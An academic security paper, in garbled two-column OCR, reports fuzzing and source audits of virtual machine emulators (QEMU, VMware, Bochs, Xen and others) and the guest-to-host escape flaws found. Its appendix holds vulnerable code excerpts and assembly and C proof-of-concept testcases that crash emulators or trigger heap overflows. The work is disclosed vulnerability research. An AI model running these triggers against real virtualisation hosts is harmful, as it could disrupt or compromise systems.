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Abstract machine monitor is ‘root secure’[25], meaning that no level of

As virtual machines become increasingly commonplace agrivilege Within the virtualized guest environment permits
a method of separating hostile or hazardous code from cominterference with the host system.
modity systems, the potential security exposure from impleDetection
mentation flaws has increased dramatically. This paper Detecting virtualized environments has been explored in
investigates the state of popular virtual machine implementaeetail by other researchers[22]. Virtual machines employed in
tions for x86 systems, employing a combination of source cod@alware analysis or honeypots should endeavour to be unde-
auditing and blackbox random testing to assess the securitiectable or risk changing the behaviour of the emulated code.
exposure to the hosts of hostile virtualized environments.  An emulated malware sample could choose to act benignly,
for example, but when executed on a physical machine imme-
diately performs some malicious action.

Detection will not be considered any further in this paper,
although being able to detect a virtual machine, or more spe-
|. INTRODUCTION cifically, virtual machine implementation, may be a prerequi-

Secure isolation is one of the fundamental concepts of virSite for the more serious attacks investigated in this paper.
tualization[15], confining a program to a virtualized environ- Without being able to identify which virtual machine imple-
ment should guarantee that any action performed inside th@entation is present, an attacker would have difficulty deter-
virtual machine cannot interfere with the system that hodts it Mining how to escape the environment.

Consequently, virtual machines have seen rapid adoption iBecurity Threats
situations where separation from a hostile or hazardous pro- The level of threat posed by a hostile virtualized environ-

gram is critical. ment that can subvert the normal operation of the virtual
We can consider a virtualized environment hostile whenmachine will be classified as follows

untrusted code is being executed or when untrusted data s Total compromise. The virtual machine monitor is sub-
being prgceSSEd by SErvices inside the VlrtU?.l _ma@hrﬁbe verted to execute arbitrary code on the host with the privi-
use of virtual machines in malware analysis is well docu- leges of the vmm process.

mented[22][;1],_ as are numerous proposal; for .hosting hgz; Partial compromise. The vmm leaks sensitive informa-
ardous applications such as honeypots or intrusion detection on ahout the host, or a hostile process interferes with the
systems[10][23]. _ _ vmm (e.g., allocating more resources than the administra-

This paper seeks to test how safe the assumptions of isola- tor intended) or contaminating state checkpoints.
tion and containment are in practice through the analysis of Apnormal termination. The virtual machine monitor

several popular virtual machine implementations for the x86  exits unexpectedly or triggers an infinite loop that prevents
architecture in use today. While this is not a new concept, Fer- a host administrator from interacting with the virtual

rie describes how DOS-based, reduced privilege virtual machine (for example, suspending, rolling back, etc.), par-

machines could be trivially escaped from[22], and Tim Shel- ticularly if accessible as an unprivileged user within the

ton describes a flaw in the VMware Workstation NAT service  guest.

that could result in compromising the host machine[24], little oyerview

other research has been published in this area. The next sections describes the testing procedure and tools

) : used during this investigation. Section IV. presents the results

A. Virtual Machine Threets of testing, and in Section X those results are analyzed. Related

Root Secure Monitors work in this field known to the author is described in Section
Commodity operating systems can often be compromised!-» @hd my conclusions are presented in Section V.

and privileges escalated[18], it is essential that a virtual
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Il. TESTING
1. Excepting the allocated use of the hosts resources. Three of the virtual machine emulators selected for this
2. And thus a compromise of the service by an attacker investigation are open source software, which permitted man-

could result in untrusted code being executed.



ual analysis of the code by inspecting relevant sections for To the authors knowledge no similar testing has been per-
programming errors. The remaining emulators are proprietarformed before.
software products distributed without source code available

thus an automated blackbox testing procedure based on thgble 1: Virtual Machine Emulators Tested

fuzz technique pioneered by Miller, Fredriksen and So[1] was Name Type
designed. Bochs Open source pure software emulator.
Two subsystems were identified through comparison of Virtual Proprietary virtual machine popular on the Macintosh

. . Machine » latform.
metrics as the most complex components of the virtual b . .
QEMU Open source pure software virtual machine emulatoy.

machine emulatofs|t is reasoned that the most complex coder— . . . :
. . Virtual Proprietary virtual machine popular on the Microsoft
is most likely to harbour the subtle bugs that can be exposedyachine ¥ Windows platform.

through the random blackbox testing methods employed hereyyvware Proprietary virtual machine.
The subsystems that have been identified are: Xen Open Source paravirtualisation based emulator.
* Instructions; correctly parsing and trapping privileged a. The product name has been obscured as the vendor failed
instructions, and handling illegal, unrecognised and fault- to respond in time for publication.
ing opcodes correctly. b. The vendor was unable to investigate the issues presented
« Emulated I/O Devices handling invalid, illegal, or non- in time for publication.
sensical I/O activity.
Multiple tools were selected or written to exercise this IIl. PROCEDURE

code in the same manner as [1]. Two of the main tools
employed during this investigation wex@ashmg6], and A Test platform
iofuzz
All tests were performed on a typical commodity system, a
A. CRASHME Pentium IV 3.2GHz running a Linux 2.6 based operating sys-

Testing hard d i N bust N em, with the exception of Virtual Machine Y which only sup-
esting hardware and operating Systeém robustness 10 Mgy, v vicrosoft Windows hosts. All virtual machines tested

formed, illegal or nonsensical instructions has been well do.cu\7vere the latest versions available at the time of writing and
mented[27], and tools are already part of common operatingse in their default configuration state where possible. When

sKystterl'r16test smtesd, sulqg atl_s the L|rr]1ux Teft irajwp%d an((jj some minimal configuration was required, the options selected
atz[16] proposed validating cache controliers with ran %Mhave been described in the relevant sections.

data as early as 1990. For the purposes of this investigation, All flaws identified as a result of this investigation were
the simple usermode. to@rashmeby George Qarrette was reported to the respective developers. In the case of open
selected.crashmesubjec.ts the emqlated enwronment 0 agyirce implementations, patches were provided.

stress test of fault handling by continually attempting to exe- Two vendors were unable to respond to the reports pre-

cute random byte sequences until failure is encountered. sented in time for publication, so the names of their products

B. IOFUZZ have been obscured in the remainder of this paper.
Implementing an accurate emulation of a hardware devic®: Failure Criteria

in software is undoubtedly a challenging task, the correctness

3{. the ]:mplel_rgentatlotn IS n:t .conlsu%[erel.‘d he:je, O?ly tze hznfnated tests performed if emulated code in the virtualized envi-
Ing otinvalid operations. A simple tool was developed mod-\,, ant can crash or cause the emulator to abnormally exit.

e]ed on fuzz_ to generate random 1/O port activity inside theE ch crash is reproduced and investigated and its impact
virtual machines, and any errors encountered were catalogu termined, which is classified as full, partial, or minor com-

and analysed. promise as defined above.

Causing the emulator to crash is not necessarily a security
flaw, as a privileged user in the virtualized environment may
legitimately request the emulated machine is halted. However,
there are implications for malware analysis, where a hostile
sample can perform some harmless operation that has no
effect on a physical machine but immediately halts any emula-
tor being used to analyse it. Additionally, this can be consid-
ered a simple litmus test as to the quality of the code and the
amount of testing performed. An implementation that continu-
ally crashes or aborts is unlikely to have seen significant test-
ing and is a good candidate for further research. By carefully
analysing any crashes encountered it may be determined

An implementation is considered to have failed the auto-

1. [13] provides some insight into the most error prone
components of operating systems.
2. Linux Test Projedtttp://Itp.sourcefaye.net/




where the weakest code exists and where future research mhie 1SO image was prepared with the software required for

prove to be most fruitful. testing. According to [28] the proprietary virtual machine
. emulator win4lirf is based on source code licensed from the
C. Testing Procedure QEMU project, a copy of this software could not be obtained

. . . for testing, but could also be affected by the same issues
Where source code is available, a source code audit is per-_ . ' .
. : ; ~described here. KVMand VirtualBox also appear to include
formed to identify as many flaws as possible. The audit .
. . . : or derive code from QEMU.
involves a human researcher familiar with programming errors
manually reading the source code and identifying possibl€EMU Cirrus CLGD-54XX “bitblt > heap overflow
codepaths that could result in security problems. Once the The cirrus_invalidate_region() routine used
audit has been completed, any flaws identified are reproducediiring video-to-video copy operations in the Cirrus VGA
in a live environment and documented. extension code omits bounds checking in multiple locations,
Secondly, the virtual machine is subjected to stress testingee Table 4, allowing you to overwrite adjacent buffers by
using thecrashmeutility described in Section 1. If a fatal error attempting to mark non-existent regions as dirty.
is encountered, the error is reproduced, analysed then cor- While the overflowing data is not controllable, the over-
rected if feasible, and the test continues until run without erroflow allows the LSB of nearby function pointers to be moved
for a period of at least 24 hours. to an attacker controlled location.

Finally, the machine is subjected to 24 hoursaffizz any EMU NE2000 “mtu®” heap overflow
failures are reduced to the minimum series of peeks and  gihemet frames written directly into the NE2000 device

pokes, and the results are collected and tabulated. registers do not have their size checked against the mtu before
being transferred, see Table 5, resulting in large values in the
IV. RESULTS ENO_TCNT register overwriting a heap buffer in the slirp

library with arbitrary attacker controller data from the devices
memory banks.
Table 2: Virtual Machine Failure Impact This flaw is most likely also reachable via the alternative
NIC emulated by QEMU, a PCNet32, however this has not

Name Full Partial Minor e .
Bochs . . been verified, as the fix would be the same.
Virtual Machine % b . . QEMU NE2000 “receive” integer signedness error
QEMU . . . Nonsensical values in specific device registers can result in
Virtual Machine Y . . sanity checks being bypassed, an integer overflowing and
V“)"(""are . : ' attacker controlled data overflowing a heap buffer, see Table 6.
en .

QEMU “net socket” heap overflow.
b. these flaws may impact other implementations derived QEMU QOes nc:t perform adgqua’t,e Sa,n'ty ChECk',ng qn data
from the same code. received via the “net socket listen” option, resulting in an
c. due to lack of appropriate hardware, these findings were exploitable heap overflow. Other guests, or local attackers,
not tested. who can send traffic to this port could potentially compromise
the QEMU process.
Table 2, “Virtual Machine Fallurg Impact, on page 3 sum- QEMU Miscellaneous
marises the flaws found, and their impact to the respective
emulator. Each emulator is discussed in depth in the section

a. See “Test platform” on page 2.

An infinite loop was discovered in the emulated SB16

below, where appropriate serious flaws are described in detail. device.
¢ The DMA code will dereference an uninitialized function
A. QEMU pointer if commands are issued to an unregistered dma
channel.

1: i}
QEMU"is an open source pure software emulator by Fabs The unprivileged ‘aan{’ instruction does not correctly

rice Bgllard thaF boasts many advanced features and a handle the undocumented divisor operand, resulting in the
dynamlc_ translatlon syst_em that offers better performance gemu process performing an integer divide-by-zero. See
than typically seen in similar emulators. Table 7.

As QEMU is distributed with full source code under the
GPL license, a detailed source code audit was possible which
revealed the presence of multiple exploitable implementation

2. Win4lin http://www.win4lin.com/

flaws. . _ . 3. KVM http://kvm.qumranet.com/kvmwiki
QEMU 0.8.2 was the latest version available as of this 4. virtualBoxhttp://wwwyvirtualbox.ony/
writing, which was used in its default configuration. A boota- 5. http://www.catborg/~esr/jagon/html/B/bitblt.html

6. Maximum Transmission Unit
7. ASCII Adjust for Multiply
1. QEMU http://fabrice.bellard.free.fr/gemu/ http://www.x86.0/secrets/opcodes/aam.htm



http://fabrice.bellard.free.fr/qemu/

« The unprivileged ‘icebp instruction will halt the virtual ~Mated testing procedure proved to be a significant challenge,
machine, this feature cannot be disabled. See Table 8. as testing revealed a large number of reachable assertions
« VGA BIOS panics can safely be ignored according to theWith_i” the VMwa_re emulated hardware_could be triggered by
documentation accompanying Bochs, but cause QEMU t®0king I/O ports in an unexpected fashion.
exit immediately. Bochs itself actually prompts the useragssertions

whether to continue or not on encountering a panic. The failed assertions encountered during testing were
* BIOS panics can also safely be ignored, but cause QEMybgged and catalogued. Table 9 demonstrates where the most
to exit immediately. assertions were found relative to the various I/0 regions. This
+ Multiple integer signedness errors exist in the emulatedjives a good idea of where the least tested code exists and per-
IDE controller, allowing very large counts to bypass sanityhaps, which demands the most careful inspection in future.
checks. Dozens of unique assertions were discovered. The biggest
Summary source appears to be the P1IX4 emulation code.
An attacker with access to a QEMU virtualized environ-  See Table 9, "Map of VMware Assertions relative to 1/0
ment could potentially compromise the virtual machine pro-Region.,” on page 9.
cess and execute arbitrary code with the privileges of thg, nerabilities

emulator. Malware being studied inside QEMU, even in an A serious flaw was discovered in the PIIX4 power man-

unprivileged state, can terminate the virtual machine Safel)égement code. A specially crafted poke to 1/O port 0x1004
and reliably. Code examples of these flaws are provided e Taple 10, results in an out-of-bounds write to an attacker
Section X. controlled location. By interacting with the power manage-
ment subsystem in specific ways, a write to an arbitrary loca-
tion can be performed upon restarting a suspended virtual

VMware is a family of popular proprietary virtual machine machine.
emulators for the x86 platform. The two major products bear- See “VMware Crash Dialog” on page 9.
ing the VMware name are VMware Workstation and VMware \/pware Miscellaneous
Server. Both VMware Workstation and Server were studied

during this investigation. As source code is not freely.avall— floppy disk controller, which is triggered when reading a
able for these programs, the focus was on random testing, fol- word from /O port 0x3f5. The impact of a NULL derefer-

lowed by the analysis of any anomalies encountered. ence is generally low, although work has been done on
The latest version of VMware Workstation available at  potentially exploiting these errors[30].

time of writing was 5.5.3.34685, and VMware Server wasSummar
1.0.1.29996. These were used in as close to the default config- y . -
An attacker with the necessary privileges to access the

uration as possible. guest I/O ports could potentially compromise the virtual
VMware Security machine monitor, executing arbitrary code with the privileges
Vulnerabilities affecting the security of the host of a of the process.
VMware virtual machine have been published before. In 2005 The assertions and segmentation faults, while perhaps of
Tim Shelton reported a heap overflow in the vmnatd serinterest to malware researchers, have no direct security impli-
vice[24], where a specially crafted EPRT or PORT FTP com-ations, but do suggest subsystems that have received little
mand would result in an exploitable heap overflow, allowingtesting and give hints where future researchers should concen-
hostile virtualized code to compromise and thus execute codgate their efforts.
on the host machine.
A communication channel exists between the guest an€. Bochs
host, and while officially undocumented, has been success- : . L .
fully reverse engineered and documented by several research-. Boch§ IS apure sof_tware virtual machme_ |mp|emer_1tat|on
ers and is known as the “VMware Backdoor'[29]. written |n_C++. Bochs_ls remarkably _robus_t in comparison to
Theoretically this channel could allow hostile guests to steam_e other |mpler_nentat|on5 tested dl_mng this nvestigation, and
clipboard data, leak sensitive information about the host, an ith highly configurable error handling and multiple disparate

other potentially dangerous operations. Care should be tak hontends, the random testing proved to b_e simple to se_t up.
to avoid it when hosting potentially hostile machines. Bochs 2.3 was the latest release available at the time of

' writing. A default bochs installation is very minimal, so a
Audit Procedure sample of compile-time options from several popular distribu-

VMware was setup with the default options selected for ajons were taken, and the intersection of those options was
Linux guest and was subjected to a long period of stress test-

ing using thecrashmeand iofuzztools. Setting up an auto-

B. VMware Workstation and Server

A NULL dereference was discovered in the emulated

1. ICE Break Point
http://www.x86.0Q/secrets/opcodes/icebp.htm 2. http://bochs.sourcefge.net/




used, see Table 3, “Bochs compile-time configuration,” onencountered, the monitor immediately aborts rather than
page 5. attempting to ignore the operation.
Even unprivileged code inside the virtualised guest can

Table 3: Bochs compile-time configuration immediately terminate the machine. Thus a non-root user

--enable-usb --enable-pci \ inside a virtualized Linux system can disrupt the entire sys-
"e”ag:e"éze “e”ab'e;jsezz \I 61 tem. Multiple esoteric and malformed instructions were iden-
--enapble-sdnow --enable-cpu-level= g . L. .
--enable-all-optimizations --enable-ne2000 \ tified that require no pnwleg?s._As many of these as possmle
—enable-sb16=linux --enable-clgd54xx \ were catalogued, although it's likely many more remain.

--enable-apic --enable-pni \
--enable-sep --enable-idle-hack

Instructions resulting in VMM Abort
The following list is not exhaustive. Many variations on
Audit Procedure these instructions (such as operands, size, prefixes, etc.) and

Bochs is released under the permissive LGPL license, so gther malformed and esoteric instructions also cause the
source code audit was possible, this revealed a major exploimaChi”e to immediately abort. These instructions can be exe-
able flaw in the emulated NE2000 network interface card. ~ cuted without privileges in the guest environment.

Once the audit had been completed, bochs was subjected INT OxAA, interrupt OXAA and probably others.
to a stress test with a combination wfuzz and crashme
Bochs’ configurable error handling allowed the instruction of
Bochs to continue in the event of a panic, this allowed excel;

INT OXAA

IRET, interrupt return to an invalid address, this can be

lent fuzz testing performance and relatively good coverage. easily exploited using the following code sequence.
Bochs NE2000 RX Frame heap overflow PUSH 0x00
A serious flaw in the emulated NE2000 device allows a IRET

large value in the TXCNT register to exceed the available
memory on the device, see Table 12, this allows an attackar pMOVNTI L, multiple malformed non-temporal instruc-
with root privileges in the guest to poke unexpected data into  tions cause the monitor to abort, for example, specifying a
the device, which results in a complete compromise of the register as a destination.
bochs process.

This is trivially exploited due to the large number of func- MOVNTI EBX, ECX; Ox0f, Oxc3, Oxcb
tion poiqters present on the heap. A simple testcase is prg- SEGR 6 & 7, Reading or writing to the 6th or 7th segment
sented in Table 13, “Bochs RX Frame Heap Overflow reqisters causes parallels to abort immediately.
Testcase,” on page 9.

MOV BX, SEGR6

Bochs Miscellaneous MOV SEGRS, BX

e An integer divide-by-zero exists in the emulated floppy

disk controller, resulting in an abnormal termination of the “bitblt” heap overflow

bochs process. An exploitable heap overflow was discovered in the emu-
lated VGA device. An attacker with root access to the guest
environment can trigger bitblt operations that overflow a heap
Quffer. See Table 17, “Parallels generated bug report for bitblt
on page 10.

Summary

An attacker with privileged access to an emulated environ
ment in a bochs virtual machine may be able to compromis -
the bochs process and execute arbitrary code on the host. FY€OW,
reduce the risk of compromise, only the minimum possibleSummary
hardware should be enabled thus reducing the attack surface This Virtual Machine exhibited multiple flaws, but due to

exposed to hostile guests. its design, automated testing proved difficult. The flaws that
_ . were found demonstrate that unprivileged code inside the vir-
D. Virtual Machine X tualized environment can terminate or disrupt the operation of

A proprietary virtual machine emulator available for Win- the virtual machine and potentially, compromise the vmm pro-

dows, Mac and Linux. The emulator is particularly po ular ©®S _ . .

with Macintosh users and is considered [t)he marke): Il?aa[()jer on The DHCP daemon distributed with th|§ prodgct does.not

the Macintosh platform. The Linux version was studied in this2PPear to be derived from the ISC_: d|str_|but-|on (unlike

investigation, but all issues were confirmed using the Macin:v Mwart_a), so further research into this application may be

tosh version. interesting.
The latest version of available at the time of writing was

used during this investigation

Design Decisions
Automated testing of this product posed a considerable 1 Non-Temporal Dword Move, the same issue affects
problem. When an unsupported opcode or I/O operation iS  other operations using the temporal hint.



E. Xen

Xen is a free hypervisor with a unique design that takes

A. Recommendations

The following are some simple recommendations for

advantage of the privilege rings on the x86 architecture. Xen'safely deploying virtualization in production environments:

unique design and excellent scaling and performance charag-

teristics have won it acclaim and industry-wide acceptance.
Xen'’s design is congruent to good security. However in,
hardware-assisted virtualisation mode using Intel’'s VT virtual
isation extensions, or AMD’s AMD-v extension, Xen relies on
a QEMU derived emulator to provide emulated devices, which
run in DomainO with ring0 privileges. No suitable hardware
was available to the author to experiment with this configura-,
tion but research suggests that compromising the QEMU emu-
lator using one of the flaws described in Section A. would
result in complete compromise of the system.

F. Virtual MachineY

This Virtualisation product is a proprietary virtual machine
for Microsoft Windows. The latest version available as of
writing was used, and an up-to-date Windows 2000 system
was used as host. .

Observations
As source code is not available, This product was sub’
jected to random testing usirggashmeand iofuzz Multiple
flaws that resulted in abnormal termination of the vmm pro-
cess were located, primarily in the emulated VGA device
including NULL dereferences and out of bounds writes.
Further flaws were encountered when directiofyizzto
the IDE controller, and the emulated network interface card.
These flaws were not investigated for exploitability.

Summary
As Microsoft Windows is not as familiar to the author as

Treat Virtual Machines like services that can be compro-
mised; use chroot, systrace, acls, least privileged users, etc.

Disable emulated hardware you don't need, and external
services you don’t use (DHCP daemons, etc.) to reduce the
attack surface exposed to hostile users.

Xen is worth watching in future; separating domains
should limit the impact of a compromise.

Maintain the integrity of guest operating systems, protect
the kernel using standard procedures of disabling modules,
/dev/imem , /dev/port , etc.

Take advantage of the securelevels features available on
BSD systems.

Keep guest software up-to-date with published vulnerabili-
ties. If an attacker cannot elevate their privileges within the
guest, the likelihood of compromising the VMM is signifi-
cantly reduced.

Keep Virtual Machine software updated to ensure all
known vulnerabilities have been corrected.

Avoid guests that do not operate in protected mode, and
make use of any security features offered, avoid running
untrusted code with root-equivalent privileges within the
guest.

VI. RELATED WORK

Previous work related to virtualisation security has

focussed on one of three main areas, implementation, detec-
tion, and usage.

Peter Ferrie provides in-depth coverage of current detec-

UNIX-like systems, this product was only subjected to a cur-lion techniques in his excellent paper [22], the most notable
sory investigtaion using the tools presented in this paper. Mulddvances in detection techniques are perhaps [31] and [32].

tiple flaws were encountered, and could potentially beSecure implementation of Virtual Machine technology has
exploitable upon further examination. been covered in [17],[6],[19] and others. Multiple researchers

have suggested uses for the Virtual Machines on the assump-
tion of guaranteed isolation, including [10], [18] and others.
V. CONCLUSION The process of random testing of applications to determine
This paper presented the results of security audits of multiteliability and robustness was first presented by Miller, Fre-
ple popular virtual machine implementations in use today. Adriksen and So in [1], and has since been extended by numer-

simple tool was presentedpfuzz that exposes exploitable OuUs researchers for security analysis.

security flaws in most, if not all, virtual machines available
today. To the knowledge of the author, no similar research has
been conducted before. The results produceadaghme a

tool well known for over a decade, locating trivial flaws dem- *
onstrates this.

No virtual machine tested was robust enough to withstand
the testing procedure used, and multiple exploitable flaws
were presented that could allow an attacker restricted to a vir-
tualised environment to reliably escape onto the host system.

The results obtained demonstrate the need for further
research into virtualisation security and prove that virtualisa
tion is no security panacea.

VII. FUTURE

Differential Testing, a technique described in detail by

McKeeman in [4], could be used to automate discovery of
new detection techniques and to identify the virtual

machine in use. By executing random combinations of
instructions on physical and virtual hardware and compar-
ing the results a large catalogue of detection techniques
could be generated without any need for human interven-
tion.

Using the statistics obtained on distribution of reachable
assertions and other errors, efforts should be refocussed on
subsystems that demonstrate the most flaws.



* The external services provided by VMware and otherd15]
require further investigation.

* Access to suitable hardware for testing Xen'’s fully virtual- [16]
ised modes would prove to be interesting research.

» Devise a strategy to better implement automated testing in

arallels.
P [17]
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X. FIGURES Table 7: QEMU AAM Integer Divide By Zero Demonstration

Table 4:cirrus_invalidate_region() from QEMU 0.8.2, SeCt'.on 'df.ta . -
hwicirrus_ vga.c msg: db "if you can see this message, this is not
- ’ gemu", Oxa
*.*
for (y = 0; y <lines; y++) { section .text
off_cur = off_begin; ) global _start
off_cur_end = off_cur + bytesperline; a .
off_cur & TARGET PAGE_MASK: _start:
while (off_cur < off_cur_end) { mov eax, 48
cpu_physical_memory_set_dirty(s->vram_offset + mov ebx, 8
off_cur); mov ecx, sigfpe
off_cur += TARGET_PAGE_SIZE; . '
} int 0x80
off_begin += off_pitch; aam 0x0
} sigfpe:
;* " mov eax, 4
mov ebx, 2
a. notice thaTARGET_PAGE_MASK applied to mov ecx, msg
off cur ,butnotoff cur_end .Asimilarerror occurs mov edx, 47
in other subroutines. int 0x80
exit:
Table 5:slirp_input() from QEMU 0.8.2slirp/slirp.c Xor eax, eax
xor ebx, ebx
void slirp_input(const uint8_t *pkt, int pkt_len) inc eax
{ int 0x80
*.%
case ETH_P_IP:
m =m_get(); Table 8: QEMU ICEBP Demonstration
if (Im)

section .data

return; ) e
msg: db "this message wont be seen inside

/* Note: we add to align the IP header */

m->m_len = pkt_len + 2; gemu.”,0xa
memcpy(m->m_data + 2, pkt, pkt_len); a )
R py( - pkt, pkt_len) section .text
global _start
a. no bounds checking is performed to enqke len is _start:
within the size of the buffer pointed to by>m_data . mov eax, 2
int Ox80
Table 6: ne2000_receive() from QEMU 0.8.2, hw/ test eax, eax
ne2000.c inz parent
icebp
*.* XOor eax, eax
[* write packet data */ xor ebx, ebx
while (size > 0) { inc eax
avail = s->stop - index; a int 0x80
len = size; parent:
if (len > avail) mov ebx, eax
len = avalil; mov ecx, 0
memcpy(s->mem + index, buf, len); b mov edx, 0
*.% mov eax, 7
a. These values are controlled by the guest and can over- int 0x80
mov eax, 4
flow.

. . mov ebx, 2
b.len could be a negative number here, interpreted by mov ecx, msg
memcpy() as a large positive integer. mov edx’ 39

int Ox80
Xor eax, eax
xor ebx, ebx
inc eax

int 0x80



Table 9: Map of VMware Assertions relative to 1/0 Region. Table 12:bx_ne2k_c::rx_frame() from bochs 2.3jodev/

ne2k.cc

void bx_ne2k_c::rx_frame(const void *buf,

G000 unsigned io_len)
{
.0

/I copy into buffer, update curpage, and signal
interrupt if config’d
startptr = & BX_NE2K_THIS s.mem[BX_NE2K_THIS
s.curr_page * 256 -
BX_NE2K_MEMSTART]; a
if ((nextpage > BX_NE2K_THIS s.curr_page) ||
((BX_NE2K_THIS s.curr_page + pages) ==
BX_NE2K_THIS s.page_stop)) {
memcpy(startptr, pkthdr, 4);
memcpy(startptr + 4, buf, io_len);
BX_NE2K_THIS s.curr_page = nextpage;
f*.

Ox1000

a. The size of this buffer is hardcoded to 32768 bytes, val-
ues up to 65535 can be placed IMXCNT

e
\_ [ b.io_len is obtained from th& XCNTdevice register.

oxfFff

Table 13: Bochs RX Frame Heap Overflow Testcase

#include <sys/io.h>

Table 10: VMware PIlIX4 ACPI PM OOB Write ) o
int main(int argc, char **argv) {

section .text iopl(3);

global _start outw(0x5292, 0x24c);

_start: outw(Oxffff, 0x245); a
mov eax, 110 outw(0x1ffb, 0x24e);
mov ebx, 3 outb(0x76, 0x241);
int 0x80 a outb(0x7b, 0x240);

mov ax, 0x6c81
mov dx, 0x1004

outw(0x79c4, 0x247);
outw(0x59e6, 0x240);

out dx, ax return O;

xor ebx, ebx }

XO0r eax, eax ..

inc eax a. TXCNTis inserted here.

int 0x8 i . .

int 0x80 Table 14: Virtual Machine X Invalid IRET Testcase
a. iopl() section .data

msg: db "if you can see this message, this is not

Table 11: VMware Crash Dialog parallels”,0xa

section .text

OO Error oooo global _start
VMware Workstation unrecoverable error: (wmx) _start:
e Unexpected signal: 11. mov eax, 48
A log file is available in "/home/jtaviso/ vmware/ / mov ebx, 11
vmware log". A core file is available in "fhome/ T
taviso/.vmwaref Jcore 4999". Please request _mov €cx, sigsegv
support and include the contents of the log file and core int 0x80
(= push 0x00
To coellect files to submit to VMware support, run wm- iret
support. .
We will respond on the basis of your support entitlement sigsegv:
mov eax, 4
mov ebx, 2
<:9 mov ecx, msg
oK
= mov edx, 51
int 0x80
XOr eax, eax
xor ebx, ebx
inc eax

int 0x80



Table 15: Virtual Machine X Interrupt Oxaa Testcase

section .data
msg: db "if you can see this message, this is not
parallels”,0xa

section .text
global _start
_start:
mov eax, 48
mov ebx, 4
mov ecx, signal
int 0x80
mov eax, 48
mov ebx, 11
mov ecx, signal
int 0x80
int Oxaa
signal:
mov eax, 4
mov ebx, 2
mov ecx, msg
mov edx, 51
int 0x80
XOr eax, eax
xor ebx, ebx
inc eax
int 0x80

Table 16: Virtual Machine X segment registers testcase

section .data
msg: db "if you can see this message, this is not
parallels”,0xa

section .text
global _start
_start:
mov eax, 48
mov ebx, 4
mov ecx, sigill
int 0x80
mov ebx, segré
mov segr6, ebx
sigill:
mov eax, 4
mov ebx, 2
mov ecx, msg
mov edx, 51
int 0x80
XOr eax, eax
xor ebx, ebx
inc eax
int 0x80

Table 17: Virtual Machine X generated bug report for bitblt overflow

Virtual Machine X X.X for Linux version X.X Build
XXXX.X from 2006-11-22

Received SIGSEGV: Segmentation fault

#0 [Oxffffe440]

#1 /lib/tls/libc.so0.6(memcpy+0x1c) [0x40932f0c]
#2 Jusr/qt/3/lib/libgt-

[Ox4027dfd7]

#3 Jusr/qt/3/lib/libgt-

x1f3) [0x402ad88f]

#4 Jusr/lib/xxx/xxx-linux [0x80a00a5]

#5 Jusr/lib/xxx/xxx-linux [0x809a6ff]
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